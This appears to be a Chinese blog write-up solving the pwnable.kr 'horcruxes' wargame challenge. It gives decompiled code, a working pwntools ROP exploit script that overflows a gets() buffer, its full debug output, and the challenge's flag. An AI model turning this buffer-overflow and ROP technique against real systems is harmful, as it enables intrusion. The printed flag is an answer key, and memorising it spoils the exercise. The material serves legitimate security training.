ROP攻击:Challenge 0x14: Horcruxes

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi

ssh horcruxes@pwnable.kr -p2222 (pw:guest)

 

登录进去之后发现,只有二进制可执行文件,没有源文件。所以为了加快分析,需要借助ida的反编译功能。

反编译之后,可以看到各个函数的结构如下:

int A()
{
  return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}

int B()
{
  return printf("You found \"Marvolo Gaunt's Ring\" (EXP +%d)\n", b);
}

int C()
{
  return printf("You found \"Helga Hufflepuff's Cup\" (EXP +%d)\n", c);
}

int D()
{
  return printf("You found \"Salazar Slytherin's Locket\" (EXP +%d)\n", d);
}

int E()
{
  return printf("You found \"Rowena Ravenclaw's Diadem\" (EXP +%d)\n", e);
}

int F()
{
  return printf("You found \"Nagini the Snake\" (EXP +%d)\n", f);
}

int G()
{
  return printf("You found \"Harry Potter\" (EXP +%d)\n", g);
}

int hint()
{
  puts("Voldemort concealed his splitted soul inside 7 horcruxes.");
  return puts("Find all horcruxes, and destroy it!\n");
}

unsigned int init_ABCDEFG()
{
  int v0; // eax
  unsigned int result; // eax
  unsigned int buf; // [esp+8h] [ebp-10h]
  int fd; // [esp+Ch] [ebp-Ch]

  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);
  a = -559038737 * rand() % 0xCAFEBABE;
  b = -559038737 * rand() % 0xCAFEBABE;
  c = -559038737 * rand() % 0xCAFEBABE;
  d = -559038737 * rand() % 0xCAFEBABE;
  e = -559038737 * rand() % 0xCAFEBABE;
  f = -559038737 * rand() % 0xCAFEBABE;
  v0 = rand();
  g = -559038737 * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}

int ropme()
{
  char buf[100]; // [esp+4h] [ebp-74h]
  int v2; // [esp+68h] [ebp-10h]
  int fd; // [esp+6Ch] [ebp-Ch]

  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(buf);
    if ( atoi(buf) == sum )
    {
      fd = open("flag", 0);
      buf[read(fd, buf, 0x64u)] = 0;
      puts(buf);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}



int main()
{
  int v0; // ST18_4

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  alarm(0x3Cu);
  hint();
  init_ABCDEFG();
  v0 = seccomp_init(0);
  seccomp_rule_add(v0, 2147418112, 173, 0);
  seccomp_rule_add(v0, 2147418112, 5, 0);
  seccomp_rule_add(v0, 2147418112, 3, 0);
  seccomp_rule_add(v0, 2147418112, 4, 0);
  seccomp_rule_add(v0, 2147418112, 252, 0);
  seccomp_load(v0);
  return ropme();
}

在开始之前,首先需要模拟实际的运行环境。需要安装32位架构的libseccomp。

sudo apt install libseccomp-dev:i386

由于游戏并没有真正提供有关我们做错事情的线索,而且我们没有消息来源,因此我们除了对程序进行逆向工程外,别无选择(反汇编程序,例如IDA pro,是最合适的工具)。原来游戏执行流程如下:

1.将stdout缓冲区设置为在写入时立即刷新(而不是等待换行或等待填充),可能是为了阻止臭名昭著的由于缓冲而引起的流程交互问题。
2.设置了60秒的“警报”,因此,如果我们不能在60秒内获胜,我们将被踢出比赛。
3.通过从 /dev/urandom 中读取,随机选择七个标记为a到g的整数。每个整数对应一个伏地魔的魂器。这些整数的和被放入sum变量中(实际上,这么大的整数相加是会溢出的,所以这实际上是这些变量的模2^32的和。
4.添加了许多SECCOMP限制,因此我们在目标机器上执行该程序的时候并不能为所欲为。
5.通过“选择菜单”,输入一个值,如果玩家的答案恰好与随机生成的几个数值之一匹配,那么表示已找到对应的魂器,并祝贺他们获得了x经验,这是对玩家的祝贺。
6.提示玩家“您赚了多少经验”。如果玩家提供正确的总和值,那么将获胜,并且接着会读取flag。否则,系统会告知他们“收集更多经验”,然后重试。

这不是一个很公平的游戏,如果我们直接玩它似乎不会赢。但是游戏确实邀请了我们尝试进行ROP攻击,甚至通过方便地将其命名为ropme来告诉我们应该对哪个功能发起攻击。我们将会令0x64字节缓冲区溢出,该缓冲区中原本是应当填充“您获得了多少经验?”。


乍一看,在这种情况下,ROP显得过大。我们可以使用地址0x80A010E覆盖eip备份(通过使得buf溢出),并且将执行直接路由到“您赢了”代码。

如果我们尝试这样做,就会遇到“特殊字符”中详述的问题部分:此地址包含字节0x0a,导致阻塞。对于在ropome中的每个地址都是如此,而在程序图中没有其他地方-因此我们无法将执行转移到ropme的任何地方,但其他任何地方都是公平的游戏(这很可能是设计使然)。因此,我们也许可以让游戏为我们报告与单个魂相关的整数,但是执行路线简单,我们就无法赢得比赛。这就是为什么我们必须求助ROP的原因。

求助ROP如何解决我们的问题?回想一下,ROP允许我们执行任意顺序的“小工具”,其中的“小配件”是一系列指令,这些指令保留堆栈的结构并以ret结尾。还记得大多数理智的调用约定都允许将函数用作小工具,并请注意“您找到了魂器”函数(标有
A到G)使用绝对明智的stdcall约定。


计划开始形成:从备份的eip值的原始位置开始,向堆栈加载7个功能(“您找到了魂器”)的地址顺序。这将导致这些函数中的每一个运行,然后返回直接进入下一个功能(花点时间思考一下为什么)。在每次函数调用时,程序将打印与相应的魂器相关的“经验量”(随机整数)。然后,在用户端,我们可以计算这些整数的总和,并将其总和提供给程序。

一个小问题是,一旦最后一个“您有一个魂器”函数返回,它将使用我们没有重写的堆栈值,并且可能会使程序崩溃。换句话说,我们需要在漏洞利用代码后面附加一个地址,以告知一旦我们完成了Horcrux-collecting旅程,该程序将何去何从。让我们在调用的主函数中使用该地址绳索;这样,一旦我们获得了所需的所有信息,便可以正常玩游戏。我们还必须计算正确的缓冲区偏移量来执行覆盖。

另一个小障碍是atoi用于将玩家的“多少经验”输入转换为整数。我们知道,atoi具有内置的健全性检查(这使我们感到惊讶,因为这一点在C标准库中并不常见)。如果我们尝试给atoi一个大于INT_MAX(0x7fffffff)的无符号整数,它将说“请稍等,我的任务是操作有符号整数,在这儿有一个溢出。”,并拒绝提供我们期望的输出。所以,如果我们指定的总体验值为INT_MAX( 0x7fffffff )到2^32 − 1之间的无符号值,则我们应当计算它的有符号值,并发送一个负的数:(例如,0xdeadbeef,发送-559038737)。

import re
import chardet
from pwn import *
from struct import pack
from zio3 import p32
import re
# print(pack('<I',stack).decode('ascii')) # 'ascii' codec can't decode byte 0xeb in position 0: ordinal not in range(128)
# print(p32(0x080343b)) 作用和pack('<I',0x080343b)是相同的。

A_addr = 0x809fe4b
B_addr = 0x809fe6a
C_addr = 0x809fe89
D_addr = 0x809fea8
E_addr = 0x809fec7
F_addr = 0x809fee6
G_addr = 0x809ff05
call_ropme_addr = 0x0809FFFC

context(arch="amd64",os="Linux",log_level="DEBUG")

shell = ssh(host="pwnable.kr",user="horcruxes",port=2222,password="guest")
sh=shell.connect_remote("0.0.0.0",9032)


# sh = process("./horcruxes")
payload = "1"
sh.recv()
sh.sendline(payload)
payload = 'a'.encode('ascii') * (0x74 + 0x4) +p32(A_addr) + \
          p32(B_addr) + p32(C_addr) + p32(D_addr) + p32(E_addr) + \
          p32(F_addr) + p32(G_addr) + p32(call_ropme_addr)
sh.sendlineafter("How many EXP did you earned? :",payload)
sh.recvline() #先接收一行: b"You'd better get more experience to kill Voldemort\n"
exp = 0
for i in range(7):
    res = sh.recvline()
    res2 = re.search('\+[^)\n]+', res.decode('ascii')).group(0)
    exp_back = exp
    exp = exp + int(res2[1:])
    print('exp=exp+res2[1:] = ({0}) + ({1}) = ({2})'.format(exp_back,int(res2[1:]),exp))

print(type(exp))
print(exp)
sh.sendlineafter("Select Menu:","1")
sh.sendlineafter("How many EXP did you earned? :",str(exp))
sh.interactive()
acat@acat-xx:MyTest$ python3 mytest07.py 
[+] Connecting to pwnable.kr on port 2222: Done
[*] horcruxes@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Connecting to 0.0.0.0:9032 via SSH to pwnable.kr: Done
[DEBUG] Received 0x5f bytes:
    b'Voldemort concealed his splitted soul inside 7 horcruxes.\n'
    b'Find all horcruxes, and destroy it!\n'
    b'\n'
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0xc bytes:
    b'Select Menu:'
[DEBUG] Received 0x1f bytes:
    b'How many EXP did you earned? : '
[DEBUG] Sent 0x99 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000070  61 61 61 61  61 61 61 61  4b fe 09 08  6a fe 09 08  │aaaa│aaaa│K···│j···│
    00000080  89 fe 09 08  a8 fe 09 08  c7 fe 09 08  e6 fe 09 08  │····│····│····│····│
    00000090  05 ff 09 08  fc ff 09 08  0a                        │····│····│·│
    00000099
[DEBUG] Received 0x33 bytes:
    b"You'd better get more experience to kill Voldemort\n"
[DEBUG] Received 0x65 bytes:
    b'You found "Tom Riddle\'s Diary" (EXP +1868426146)\n'
    b'You found "Marvolo Gaunt\'s Ring" (EXP +-1316155905)\n'
exp=exp+res2[1:] = (0) + (1868426146) = (1868426146)
exp=exp+res2[1:] = (1868426146) + (-1316155905) = (552270241)
[DEBUG] Received 0x34 bytes:
    b'You found "Helga Hufflepuff\'s Cup" (EXP +571541035)\n'
exp=exp+res2[1:] = (552270241) + (571541035) = (1123811276)
[DEBUG] Received 0x38 bytes:
    b'You found "Salazar Slytherin\'s Locket" (EXP +844045357)\n'
exp=exp+res2[1:] = (1123811276) + (844045357) = (1967856633)
[DEBUG] Received 0x38 bytes:
    b'You found "Rowena Ravenclaw\'s Diadem" (EXP +1012414980)\n'
exp=exp+res2[1:] = (1967856633) + (1012414980) = (2980271613)
[DEBUG] Received 0x2d bytes:
    b'You found "Nagini the Snake" (EXP +43569926)\n'
exp=exp+res2[1:] = (2980271613) + (43569926) = (3023841539)
[DEBUG] Received 0x38 bytes:
    b'You found "Harry Potter" (EXP +-1540332884)\n'
    b'Select Menu:'
exp=exp+res2[1:] = (3023841539) + (-1540332884) = (1483508655)
<class 'int'>
1483508655
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x1f bytes:
    b'How many EXP did you earned? : '
[DEBUG] Sent 0xb bytes:
    b'1483508655\n'
[*] Switching to interactive mode
 [DEBUG] Received 0x1e bytes:
    b'Magic_spell_1s_4vad4_K3daVr4!\n'
Magic_spell_1s_4vad4_K3daVr4!
[DEBUG] Received 0x1 bytes:
    b'\n'

[*] Got EOF while reading in interactive
$  

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值